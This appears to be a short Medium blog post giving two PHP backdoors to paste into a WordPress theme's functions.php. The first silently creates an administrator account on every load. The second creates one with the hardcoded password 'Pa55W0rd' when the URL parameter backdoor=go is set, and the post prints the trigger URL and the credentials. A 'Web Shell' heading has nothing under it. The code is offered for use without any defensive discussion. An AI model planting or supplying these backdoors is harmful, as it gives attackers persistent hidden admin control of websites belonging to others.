Backdoor and Web shell

Ayon Thakur
Dec 2, 2023

--

Backdoor-01 (add to theme functions.php)

function wpb_admin_account(){
$user = ‘minhaz’;
$pass = ‘pass’;
$email = ’email@email.em’;
if ( !username_exists( $user ) && !email_exists( $email ) ) {
$user_id = wp_create_user( $user, $pass, $email );
$user = new WP_User( $user_id );
$user->set_role( ‘administrator’ );
}
}
add_action(‘init’,’wpb_admin_account’);

Backdoor-02 (add to theme functions.php)

<?php
add_action(‘wp_head’, ‘WordPress_backdoor’);
function WordPress_backdoor() {
If ($_GET[‘backdoor’] == ‘go’) {
require(‘wp-includes/registration.php’);
If (!username_exists(‘backdooradmin’)) {
$user_id = wp_create_user(‘backdooradmin’, ‘Pa55W0rd’);
$user = new WP_User($user_id);
$user->set_role(‘administrator’);
}
}
}
?>

https://www.targetdomain.com?backdoor=go

  • User: backdooradmin
  • Password: Pa55W0rd

Web Shell

© Copyright 2022 — Minhazul Asif

Sign up to discover human stories that deepen your understanding of the world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

--

--

Ayon Thakur
Ayon Thakur

Written by Ayon Thakur

I am an ethical hacker, penetration test, website security provider, malware remover. I am good at my job. I will recover WordPress hacked websites

No responses yet

Write a response